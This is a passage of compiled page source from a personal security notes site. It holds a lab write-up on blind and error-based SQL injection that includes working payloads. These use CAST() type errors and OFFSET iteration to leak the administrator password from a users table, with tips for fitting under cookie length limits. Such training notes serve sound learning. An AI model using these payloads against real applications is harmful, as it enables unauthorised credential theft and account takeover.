sqli_password`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#9ABDF5`},children:`(`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#C0CAF5`},children:`url`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#9ABDF5`},children:`)`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#D73A49`,\"--shiki-dark\":`#BB9AF7`},children:`if`}),_jsx(_components.span,{style:{color:`#005CC5`,\"--shiki-dark\":`#C0CAF5`},children:` __name__`}),_jsx(_components.span,{style:{color:`#D73A49`,\"--shiki-dark\":`#BB9AF7`},children:` ==`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:` \"`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:`__main__`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`\"`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#89DDFF`},children:`:`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#7AA2F7`},children:` main`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#9ABDF5`},children:`()`})]}),`\n`]})})}),`\n`,_jsx(Heading,{level:`2`,id:`extracting-sensitive-data-via-verbose-sql-errors`,children:`Extracting Sensitive Data via Verbose SQL Errors`}),`\n`,_jsx(_components.p,{children:`Some applications expose raw database errors when input breaks a query. This is\noften a misconfiguration, and it can reveal exactly how your payload is being\nembedded.`}),`\n`,_jsxs(_components.p,{children:[`Example after injecting a single quote into an `,_jsx(_components.code,{children:`id`}),` parameter:`]}),`\n`,_jsx(CodeBlock,{filename:``,numberOfLines:`2`,language:`text`,children:_jsx(_components.pre,{className:`shiki shiki-themes github-light tokyo-night`,style:{backgroundColor:`#fff`,\"--shiki-dark-bg\":`#1a1b26`,color:`#24292e`,\"--shiki-dark\":`#a9b1d6`},language:`text`,children:_jsxs(_components.code,{language:`text`,numberOfLines:`2`,children:[_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{children:`Unterminated string literal started at position 52 in SQL SELECT * FROM tracking WHERE id = '''. Expected char`})}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{})})]})})}),`\n`,_jsx(_components.p,{children:`What this tells you:`}),`\n`,_jsxs(_components.ul,{children:[`\n`,_jsx(_components.li,{children:`You are inside a single-quoted string.`}),`\n`,_jsxs(_components.li,{children:[`The injection point is in a `,_jsx(_components.code,{children:`WHERE`}),` clause.`]}),`\n`,_jsx(_components.li,{children:`You likely need to close the quote and comment out the tail to keep syntax\nvalid.`}),`\n`]}),`\n`,_jsx(_components.p,{children:`This can turn an otherwise blind issue into a visible one if the app reflects\ndatabase error details back to you.`}),`\n`,_jsxs(Heading,{level:`3`,id:`forcing-data-into-an-error-with-cast`,children:[`Forcing Data into an Error with `,_jsx(_components.code,{children:`CAST()`})]}),`\n`,_jsxs(_components.p,{children:[`You can intentionally trigger a type-conversion error that includes query data.\n`,_jsx(_components.code,{children:`CAST()`}),` is useful for this:`]}),`\n`,_jsx(CodeBlock,{filename:``,numberOfLines:`1`,language:`sql`,children:_jsx(_components.pre,{className:`shiki shiki-themes github-light tokyo-night`,style:{backgroundColor:`#fff`,\"--shiki-dark-bg\":`#1a1b26`,color:`#24292e`,\"--shiki-dark\":`#a9b1d6`},language:`sql`,children:_jsxs(_components.code,{language:`sql`,numberOfLines:`1`,children:[_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#005CC5`,\"--shiki-dark\":`#0DB9D7`},children:`CAST`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:`((`}),_jsx(_components.span,{style:{color:`#D73A49`,\"--shiki-dark\":`#7DCFFF`},children:`SELECT`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:` example_column `}),_jsx(_components.span,{style:{color:`#D73A49`,\"--shiki-dark\":`#7DCFFF`},children:`FROM`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:` example_table) `}),_jsx(_components.span,{style:{color:`#D73A49`,\"--shiki-dark\":`#89DDFF`},children:`AS`}),_jsx(_components.span,{style:{color:`#D73A49`,\"--shiki-dark\":`#BB9AF7`},children:` int`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:`)`})]}),`\n`]})})}),`\n`,_jsxs(_components.p,{children:[`If `,_jsx(_components.code,{children:`example_column`}),` is text, many databases throw an error like:`]}),`\n`,_jsx(CodeBlock,{filename:``,numberOfLines:`2`,language:`text`,children:_jsx(_components.pre,{className:`shiki shiki-themes github-light tokyo-night`,style:{backgroundColor:`#fff`,\"--shiki-dark-bg\":`#1a1b26`,color:`#24292e`,\"--shiki-dark\":`#a9b1d6`},language:`text`,children:_jsxs(_components.code,{language:`text`,numberOfLines:`2`,children:[_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{children:`ERROR: invalid input syntax for type integer: \"Example data\"`})}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{})})]})})}),`\n`,_jsxs(_components.p,{children:[`Now the value (`,_jsx(_components.code,{children:`Example data`}),`) is leaked in the error message.`]}),`\n`,_jsx(_components.p,{children:`Why this matters:`}),`\n`,_jsxs(_components.ul,{children:[`\n`,_jsx(_components.li,{children:`It gives direct data output when normal page content is blind.`}),`\n`,_jsx(_components.li,{children:`It can still work when strict character limits make larger conditional payloads\nhard to use.`}),`\n`,_jsx(_components.li,{children:`It is often faster than boolean extraction when verbose errors are available.`}),`\n`]}),`\n`,_jsx(Heading,{level:`3`,id:`lab-visible-error-based-sqli-administrator-password`,children:`Lab: Visible Error-Based SQLi (Administrator Password)`}),`\n`,_jsxs(_components.p,{children:[`Goal: leak the `,_jsx(_components.code,{children:`administrator`}),` password from DB errors, then log in.`]}),`\n`,_jsx(Heading,{level:`4`,id:`quick-approach`,children:`Quick Approach`}),`\n`,_jsxs(_components.ol,{children:[`\n`,_jsxs(_components.li,{children:[`Confirm quote-breaking behavior in `,_jsx(_components.code,{children:`TrackingId`}),`:`]}),`\n`]}),`\n`,_jsx(CodeBlock,{filename:``,numberOfLines:`1`,language:`http`,children:_jsx(_components.pre,{className:`shiki shiki-themes github-light tokyo-night`,style:{backgroundColor:`#fff`,\"--shiki-dark-bg\":`#1a1b26`,color:`#24292e`,\"--shiki-dark\":`#a9b1d6`},language:`http`,children:_jsxs(_components.code,{language:`http`,numberOfLines:`1`,children:[_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:`TrackingId=GA9UUdl1nUvjSjgU'`})}),`\n`]})})}),`\n`,_jsxs(_components.ol,{start:`2`,children:[`\n`,_jsx(_components.li,{children:`Use a payload that forces string-to-int conversion on the password:`}),`\n`]}),`\n`,_jsx(CodeBlock,{filename:``,numberOfLines:`1`,language:`http`,children:_jsx(_components.pre,{className:`shiki shiki-themes github-light tokyo-night`,style:{backgroundColor:`#fff`,\"--shiki-dark-bg\":`#1a1b26`,color:`#24292e`,\"--shiki-dark\":`#a9b1d6`},language:`http`,children:_jsxs(_components.code,{language:`http`,numberOfLines:`1`,children:[_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:`TrackingId=' AND 1=CAST((SELECT password FROM users LIMIT 1) AS int)--`})}),`\n`]})})}),`\n`,_jsxs(_components.ol,{start:`3`,children:[`\n`,_jsx(_components.li,{children:`Read the DB error. If verbose errors are enabled, the failing value is shown:`}),`\n`]}),`\n`,_jsx(CodeBlock,{filename:``,numberOfLines:`2`,language:`text`,children:_jsx(_components.pre,{className:`shiki shiki-themes github-light tokyo-night`,style:{backgroundColor:`#fff`,\"--shiki-dark-bg\":`#1a1b26`,color:`#24292e`,\"--shiki-dark\":`#a9b1d6`},language:`text`,children:_jsxs(_components.code,{language:`text`,numberOfLines:`2`,children:[_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{children:`ERROR: invalid input syntax for type integer: \"\u003cleaked_password>\"`})}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{})})]})})}),`\n`,_jsxs(_components.ol,{start:`4`,children:[`\n`,_jsxs(_components.li,{children:[`Use the leaked password to authenticate as `,_jsx(_components.code,{children:`administrator`}),`.`]}),`\n`]}),`\n`,_jsx(Heading,{level:`4`,id:`useful-mistakes-i-made-and-fixes`,children:`Useful Mistakes I Made (and Fixes)`}),`\n`,_jsxs(_components.ul,{children:[`\n`,_jsxs(_components.li,{children:[`\n`,_jsxs(_components.p,{children:[`Mistake: I kept the original tracking ID prefix (`,_jsx(_components.code,{children:`GA9UUdl1nUvjSjgU`}),`) before the injection.\nResult: payload was too long and got cut mid-query.\nSeen as: `,_jsx(_components.code,{children:`... FROM users WHE'. Expected char`}),`\nFix: remove the original value and start directly with `,_jsx(_components.code,{children:`'`}),` to save space.`]}),`\n`]}),`\n`,_jsxs(_components.li,{children:[`\n`,_jsx(_components.p,{children:`Mistake: I used the longer filter payload first:`}),`\n`]}),`\n`]}),`\n`,_jsx(CodeBlock,{filename:``,numberOfLines:`1`,language:`http`,children:_jsx(_components.pre,{className:`shiki shiki-themes github-light tokyo-night`,style:{backgroundColor:`#fff`,\"--shiki-dark-bg\":`#1a1b26`,color:`#24292e`,\"--shiki-dark\":`#a9b1d6`},language:`http`,children:_jsxs(_components.code,{language:`http`,numberOfLines:`1`,children:[_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:`TrackingId=GA9UUdl1nUvjSjgU' AND 1=CAST((SELECT password FROM users WHERE username='administrator') AS int)--`})}),`\n`]})})}),`\n`,_jsxs(_components.p,{children:[`Result: truncation before `,_jsx(_components.code,{children:`WHERE`}),` finished.\nFix: start with shorter extraction (`,_jsx(_components.code,{children:`LIMIT 1`}),`) to validate the technique, then refine if needed.`]}),`\n`,_jsxs(_components.ul,{children:[`\n`,_jsxs(_components.li,{children:[`Mistake: forgetting to neutralize the trailing quote from the original query.\nFix: close the string and end with `,_jsx(_components.code,{children:`--`}),` so the rest of the server query is ignored.`]}),`\n`]}),`\n`,_jsx(Heading,{level:`4`,id:`compact-payload-options`,children:`Compact Payload Options`}),`\n`,_jsx(_components.p,{children:`Primary (short, reliable for technique validation):`}),`\n`,_jsx(CodeBlock,{filename:``,numberOfLines:`1`,language:`http`,children:_jsx(_components.pre,{className:`shiki shiki-themes github-light tokyo-night`,style:{backgroundColor:`#fff`,\"--shiki-dark-bg\":`#1a1b26`,color:`#24292e`,\"--shiki-dark\":`#a9b1d6`},language:`http`,children:_jsxs(_components.code,{language:`http`,numberOfLines:`1`,children:[_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:`' AND 1=CAST((SELECT password FROM users LIMIT 1) AS int)--`})}),`\n`]})})}),`\n`,_jsx(_components.p,{children:`If multiple rows require iteration:`}),`\n`,_jsx(CodeBlock,{filename:``,numberOfLines:`1`,language:`http`,children:_jsx(_components.pre,{className:`shiki shiki-themes github-light tokyo-night`,style:{backgroundColor:`#fff`,\"--shiki-dark-bg\":`#1a1b26`,color:`#24292e`,\"--shiki-dark\":`#a9b1d6`},language:`http`,children:_jsxs(_components.code,{language:`http`,numberOfLines:`1`,children:[_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:`' AND 1=CAST((SELECT password FROM users LIMIT 1 OFFSET 0) AS int)--`})}),`\n`]})})}),`\n`,_jsxs(_components.p,{children:[`Then increase `,_jsx(_components.code,{children:`OFFSET`}),` until you leak the target account, or switch to a shorter user filter if the lab allows it.`]}),`\n`,_jsx(Heading,{level:`4`,id:`lab-#18-notes-my-run`,children:`Lab #18 Notes (My Run)`}),`\n`,_jsxs(_components.p,{children:[`End goal: exploit SQLi in `,_jsx(_components.code,{children:`TrackingId`}),`, leak admin credentials from `,_jsx(_components.code,{children:`users`}),`, and\nlog in as `,_jsx(_components.code,{children:`administrator`}),`.`]}),`\n`,_jsx(_components.p,{children:`Observed backend pattern after quote testing:`}),`\n`,_jsx(CodeBlock,{filename:``,numberOfLines:`2`,language:`sql`,children:_jsx(_components.pre,{className:`shiki shiki-themes github-light tokyo-night`,style:{backgroundColor:`#fff`,\"--shiki-dark-bg\":`#1a1b26`,color:`#24292e`,\"--shiki-dark\":`#a9b1d6`},language:`sql`,children:_jsxs(_components.code,{language:`sql`,numberOfLines:`2`,children:[_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#D73A49`,\"--shiki-dark\":`#7DCFFF`},children:`select`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:` trackingId `}),_jsx(_components.span,{style:{color:`#D73A49`,\"--shiki-dark\":`#7DCFFF`},children:`from`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:` trackingIdTable `}),_jsx(_components.span,{style:{color:`#D73A49`,\"--shiki-dark\":`#7DCFFF`},children:`where`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:` trackingId`}),_jsx(_components.span,{style:{color:`#D73A49`,\"--shiki-dark\":`#BB9AF7`},children:`=`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`'`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:`pFNjoVuG3fnTFJ3a`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`''`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:`SELECT * FROM tracking WHERE id = `}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`'`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:`pFNjoVuG3fnTFJ3a`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`'`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:`--`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`'`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:`. Expected `}),_jsx(_components.span,{style:{color:`#D73A49`,\"--shiki-dark\":`#BB9AF7`},children:`char`})]}),`\n`]})})}),`\n`,_jsx(_components.p,{children:`Payload progression I used:`}),`\n`,_jsx(CodeBlock,{filename:``,numberOfLines:`3`,language:`http`,children:_jsx(_components.pre,{className:`shiki shiki-themes github-light tokyo-night`,style:{backgroundColor:`#fff`,\"--shiki-dark-bg\":`#1a1b26`,color:`#24292e`,\"--shiki-dark\":`#a9b1d6`},language:`http`,children:_jsxs(_components.code,{language:`http`,numberOfLines:`3`,children:[_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:`pFNjoVuG3fnTFJ3a' AND CAST((SELECT 1) as int)--`})}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:`' AND 1=CAST((SELECT username from users LIMIT 1) as int)--`})}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:`' AND 1=CAST((SELECT password from users LIMIT 1) as int)--`})}),`\n`]})})}),`\n`,_jsx(_components.p,{children:`Recovered password in this run:`}),`\n`,_jsx(CodeBlock,{filename:``,numberOfLines:`2`,language:`text`,children:_jsx(_components.pre,{className:`shiki shiki-themes github-light tokyo-night`,style:{backgroundColor:`#fff`,\"--shiki-dark-bg\":`#1a1b26`,color:`#24292e`,\"--shiki-dark\":`#a9b1d6`},language:`text`,children:_jsxs(_components.code,{language:`text`,numberOfLines:`2`,children:[_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{children:`fc9v2vqq5gozv1cb0ibj`})}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{})})]})})}),`\n`,_jsx(_components.p,{children:`Quick validation logic:`}),`\n`,_jsxs(_components.ul,{children:[`\n`,_jsx(_components.li,{children:`If payload is malformed/truncated, you get unterminated string errors.`}),`\n`,_jsx(_components.li,{children:`If CAST forces string -> int conversion, the DB error leaks the selected value.`}),`\n`,_jsxs(_components.li,{children:[`Once password is leaked, authenticate as `,_jsx(_components.code,{children:`administrator`}),` to solve the lab.`]}),`\n`]}),`\n`,_jsxs(Heading,{level:`4`,id:`understanding-expected-char`,children:[`Understanding `,_jsx(_components.code,{children:`Expected char`})]}),`\n`,_jsx(_components.p,{children:`This error text is easy to misread. It usually means your payload was truncated,\nwhich left an unclosed string.`}),`\n`,_jsx(_components.p,{children:`What a string literal means here:`}),`\n`,_jsxs(_components.ul,{children:[`\n`,_jsxs(_components.li,{children:[`A string literal is plain text wrapped in single quotes in SQL, like `,_jsx(_components.code,{children:`'admin'`}),`.`]}),`\n`,_jsx(_components.li,{children:`In this query, the cookie value is placed inside a string literal:`}),`\n`]}),`\n`,_jsx(CodeBlock,{filename:``,numberOfLines:`1`,language:`sql`,children:_jsx(_components.pre,{className:`shiki shiki-themes github-light tokyo-night`,style:{backgroundColor:`#fff`,\"--shiki-dark-bg\":`#1a1b26`,color:`#24292e`,\"--shiki-dark\":`#a9b1d6`},language:`sql`,children:_jsxs(_components.code,{language:`sql`,numberOfLines:`1`,children:[_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#D73A49`,\"--shiki-dark\":`#7DCFFF`},children:`WHERE`}),_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:` id `}),_jsx(_components.span,{style:{color:`#D73A49`,\"--shiki-dark\":`#BB9AF7`},children:`=`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:` '`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#9ECE6A`},children:`\u003ccookie value>`}),_jsx(_components.span,{style:{color:`#032F62`,\"--shiki-dark\":`#89DDFF`},children:`'`})]}),`\n`]})})}),`\n`,_jsxs(_components.ul,{children:[`\n`,_jsxs(_components.li,{children:[`If your injection adds or breaks `,_jsx(_components.code,{children:`'`}),` quotes incorrectly, SQL thinks the text\nstring started but never finished.`]}),`\n`]}),`\n`,_jsx(_components.p,{children:`Example error:`}),`\n`,_jsx(CodeBlock,{filename:``,numberOfLines:`2`,language:`text`,children:_jsx(_components.pre,{className:`shiki shiki-themes github-light tokyo-night`,style:{backgroundColor:`#fff`,\"--shiki-dark-bg\":`#1a1b26`,color:`#24292e`,\"--shiki-dark\":`#a9b1d6`},language:`text`,children:_jsxs(_components.code,{language:`text`,numberOfLines:`2`,children:[_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{children:`Unterminated string literal started at position 95 in SQL SELECT * FROM tracking WHERE id = 'GA9UUdl1nUvjSjgU' AND 1=CAST((SELECT password FROM users WHE'. Expected char`})}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{})})]})})}),`\n`,_jsx(_components.p,{children:`What is happening:`}),`\n`,_jsxs(_components.ul,{children:[`\n`,_jsx(_components.li,{children:`Input was cut around position 95 (cookie length/validation limit).`}),`\n`,_jsxs(_components.li,{children:[_jsx(_components.code,{children:`WHERE`}),` was truncated to `,_jsx(_components.code,{children:`WHE`}),`.`]}),`\n`,_jsxs(_components.li,{children:[`Truncation left a dangling `,_jsx(_components.code,{children:`'`}),`.`]}),`\n`,_jsx(_components.li,{children:`SQL parser sees a started string literal with no closing quote.`}),`\n`]}),`\n`,_jsxs(_components.p,{children:[`What `,_jsx(_components.code,{children:`Expected char`}),` actually means:`]}),`\n`,_jsxs(_components.ul,{children:[`\n`,_jsx(_components.li,{children:`Not “I need a specific character”.`}),`\n`,_jsx(_components.li,{children:`It means: “string literal started, but input ended before completion”.`}),`\n`]}),`\n`,_jsx(_components.p,{children:`Visual:`}),`\n`,_jsx(CodeBlock,{filename:``,numberOfLines:`6`,language:`text`,children:_jsx(_components.pre,{className:`shiki shiki-themes github-light tokyo-night`,style:{backgroundColor:`#fff`,\"--shiki-dark-bg\":`#1a1b26`,color:`#24292e`,\"--shiki-dark\":`#a9b1d6`},language:`text`,children:_jsxs(_components.code,{language:`text`,numberOfLines:`6`,children:[_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{children:`Full payload:`})}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{children:`' AND 1=CAST((SELECT password FROM users WHERE username='administrator') AS int)--`})}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{})}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{children:`Server received (truncated):`})}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{children:`' AND 1=CAST((SELECT password FROM users WHE'`})}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{})})]})})}),`\n`,_jsx(_components.p,{children:`Fix: shorten the payload to fit the limit.`}),`\n`,_jsx(CodeBlock,{filename:``,numberOfLines:`1`,language:`http`,children:_jsx(_components.pre,{className:`shiki shiki-themes github-light tokyo-night`,style:{backgroundColor:`#fff`,\"--shiki-dark-bg\":`#1a1b26`,color:`#24292e`,\"--shiki-dark\":`#a9b1d6`},language:`http`,children:_jsxs(_components.code,{language:`http`,numberOfLines:`1`,children:[_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#24292E`,\"--shiki-dark\":`#A9B1D6`},children:`'AND CAST((SELECT password FROM users LIMIT 1)AS int)=1--`})}),`\n`]})})}),`\n`,_jsx(_components.p,{children:`This removes unnecessary spaces and avoids wasting characters on the original\ntracking ID prefix.`})]})}function MDXContent(props={}){const{wrapper:MDXLayout}={..._provideComponents(),...props.components};return MDXLayout?_jsx(MDXLayout,{...props,children:_jsx(_createMdxContent,{...props})}):_createMdxContent(props)}return{default:MDXContent};function _missingMdxReference(id,component){throw new Error(`Expected `+(component?`component`:`object`)+\" `\"+id+\"` to be defined: you likely forgot to import, pass, or provide it.\")}","frontmatter":{},"scope":{"codeStyling":{"theme":{"light":"github-light","dark":"tokyo-night"}},"config":{},"pageMetadata":{"title":"Blind SQL Injection","description":"Extract data from databases where query results aren't returned in the HTTP response.","href":"/attacks/web/sql-injection/blind-sql-injection"}}},"mdxSourceWithNoJs":null},"mdxExtracts":{"tableOfContents":[{"title":"What is Blind SQL Injection?","slug":"what-is-blind-sql-injection","depth":2,"children":[]},{"title":"Exploiting via Conditional Responses","slug":"exploiting-via-conditional-responses","depth":2,"children":[]},{"title":"Extracting Data Character by Character","slug":"extracting-data-character-by-character","depth":2,"children":[{"title":"Lab: Conditional Response (Administrator Password Extraction)","slug":"lab-conditional-response-administrator-password-extraction","depth":3,"children":[]},{"title":"Working Payload","slug":"working-payload","depth":4,"children":[]},{"title":"Mistake I Kept Making","slug":"mistake-i-kept-making","depth":4,"children":[]},{"title":"Extraction Method","slug":"extraction-method","depth":4,"children":[]},{"title":"Where It Stopped Working","slug":"where-it-stopped-working","depth":4,"children":[]},{"title":"Cleaner Alternative Approach","slug":"cleaner-alternative-approach","depth":4,"children":[]},{"title":"Key Takeaways","slug":"key-takeaways","depth":4,"children":[]}]},{"title":"Error-Based Blind SQL Injection","slug":"error-based-blind-sql-injection","depth":2,"children":[{"title":"Two Common Outcomes","slug":"two-common-outcomes","depth":3,"children":[]},{"title":"Conditional Error Pattern","slug":"conditional-error-pattern","depth":3,"children":[]},{"title":"Extracting Data With Conditional Errors","slug":"extracting-data-with-conditional-errors","depth":3,"children":[]},{"title":"Lab: Conditional Errors (Oracle, Administrator Password)","slug":"lab-conditional-errors-oracle-administrator-password","depth":3,"children":[]},{"title":"Step 1: Confirm Injection (Oracle)","slug":"step-1-confirm-injection-oracle","depth":4,"children":[]},{"title":"Step 2: Confirm users Table","slug":"step-2-confirm-users-table","depth":4,"children":[]},{"title":"Step 3: Confirm administrator Row","slug":"step-3-confirm-administrator-row","depth":4,"children":[]},{"title":"Step 4: Find Password Length","slug":"step-4-find-password-length","depth":4,"children":[]},{"title":"Step 5: Extract Password Characters","slug":"step-5-extract-password-characters","depth":4,"children":[]},{"title":"Python Automation","slug":"python-automation","depth":4,"children":[]}]},{"title":"Extracting Sensitive Data via Verbose SQL Errors","slug":"extracting-sensitive-data-via-verbose-sql-errors","depth":2,"children":[{"title":"Forcing Data into an Error with CAST()","slug":"forcing-data-into-an-error-with-cast","depth":3,"children":[]},{"title":"Lab: Visible Error-Based SQLi (Administrator Password)","slug":"lab-visible-error-based-sqli-administrator-password","depth":3,"children":[]},{"title":"Quick Approach","slug":"quick-approach","depth":4,"children":[]},{"title":"Useful Mistakes I Made (and Fixes)","slug":"useful-mistakes-i-made-and-fixes","depth":4,"children":[]},{"title":"Compact Payload Options","slug":"compact-payload-options","depth":4,"children":[]},{"title":"Lab #18 Notes (My Run)","slug":"lab-#18-notes-my-run","depth":4,"children":[]},{"title":"Understanding Expected char","slug":"understanding-expected-char","depth":4,"children":[]}]}],"codeExamples":{}},"jsLinks":[],"subdomain":"dudji","siteName":"Dudji's Docs","title":"Blind SQL Injection - Dudji's Docs","navMaps":{"firstHrefInVersion":{},"firstHrefInLanguage":{}},"lastModified":"2026-03-16T00:05:09.171Z","originalFileLocation":"attacks/web/sql-injection/blind-sql-injection.mdx"},"headHtml":"\u003cmeta data-mint-head name=\"description\" content=\"Extract data from databases where query results aren\u0026#x27;t returned in the HTTP response.\">\u003cmeta data-mint-head name=\"application-name\" content=\"Dudji\u0026#x27;s Docs\">\u003cmeta data-mint-head name=\"generator\" content=\"Mintlify\">\u003clink data-mint-head rel=\"icon\" type=\"image/png\" sizes=\"192x192\" href=\"/mintlify-assets/_mintlify/favicons/dudji/zneJunrtFpLjA7Xx/_generated/favicon/android-chrome-192x192.png\" media=\"(prefers-color-scheme: light)\">\u003clink data-mint-head rel=\"apple-touch-icon\" type=\"image/png\" sizes=\"180x180\" href=\"/mintlify-assets/_mintlify/favicons/dudji/zneJunrtFpLjA7Xx/_generated/favicon/apple-touch-icon.png\">\u003clink data-mint-head rel=\"icon\" type=\"image/png\" sizes=\"16x16\" href=\"/mintlify-assets/_mintlify/favicons/dudji/zneJunrtFpLjA7Xx/_generated/favicon/favicon-16x16.png\" media=\"(prefers-color-scheme: light)\">\u003clink data-mint-head rel=\"icon\" type=\"image/png\" sizes=\"32x32\" href=\"/mintlify-assets/_mintlify/favicons/dudji/zneJunrtFpLjA7Xx/_generated/favicon/favicon-32x32.png\" media=\"(prefers-color-scheme: light)\">\u003clink data-mint-head rel=\"shortcut icon\" type=\"image/x-icon\" href=\"/mintlify-assets/_mintlify/favicons/dudji/zneJunrtFpLjA7Xx/_generated/favicon/favicon.ico\" media=\"(prefers-color-scheme: light)\">\u003clink data-mint-head rel=\"icon\" type=\"image/png\" sizes=\"192x192\" href=\"/mintlify-assets/_mintlify/favicons/dudji/zneJunrtFpLjA7Xx/_generated/favicon-dark/android-chrome-192x192.png\" media=\"(prefers-color-scheme: dark)\">\u003clink data-mint-head rel=\"icon\" type=\"image/png\" sizes=\"16x16\" href=\"/mintlify-assets/_mintlify/favicons/dudji/zneJunrtFpLjA7Xx/_generated/favicon-dark/favicon-16x16.png\" media=\"(prefers-color-scheme: dark)\">\u003clink data-mint-head rel=\"icon\" type=\"image/png\" sizes=\"32x32\" href=\"/mintlify-assets/_mintlify/favicons/dudji/zneJunrtFpLjA7Xx/_generated/favicon-dark/favicon-32x32.png\" media=\"(prefers-color-scheme: dark)\">\u003clink data-mint-head rel=\"shortcut icon\" type=\"image/x-icon\" href=\"/mintlify-assets/_mintlify/favicons/dudji/zneJunrtFpLjA7Xx/_generated/favicon-dark/favicon.ico\" media=\"(prefers-color-scheme: dark)\">\u003cmeta data-mint-head property=\"og:title\" content=\"Blind SQL Injection - Dudji\u0026#x27;s Docs\">\u003cmeta data-mint-head property=\"og:description\" content=\"Extract data from databases where query results aren\u0026#x27;t returned in the HTTP response.\">\u003cmeta data-mint-head property=\"og:site_name\" content=\"Dudji\u0026#x27;s Docs\">\u003cmeta data-mint-head property=\"og:url\" content=\"https://hackbook.dudji.com/attacks/web/sql-injection/blind-sql-injection\">\u003cmeta data-mint-head property=\"og:type\" content=\"website\">\u003cmeta data-mint-head name=\"twitter:card\" content=\"summary_large_image\">\u003cmeta data-mint-head name=\"twitter:title\" content=\"Blind SQL Injection - Dudji\u0026#x27;s Docs\">\u003cmeta data-mint-head name=\"twitter:description\" content=\"Extract data from databases where query results aren\u0026#x27;t returned in the HTTP response.\">\u003cmeta data-mint-head name=\"msapplication-config\" content=\"/mintlify-assets/_mintlify/favicons/dudji/zneJunrtFpLjA7Xx/_generated/favicon/browserconfig.xml\">\u003cmeta data-mint-head name=\"apple-mobile-web-app-title\" content=\"Dudji\u0026#x27;s Docs\">\u003cmeta data-mint-head name=\"msapplication-TileColor\" content=\"#d5363e\">\u003clink data-mint-head rel=\"canonical\" 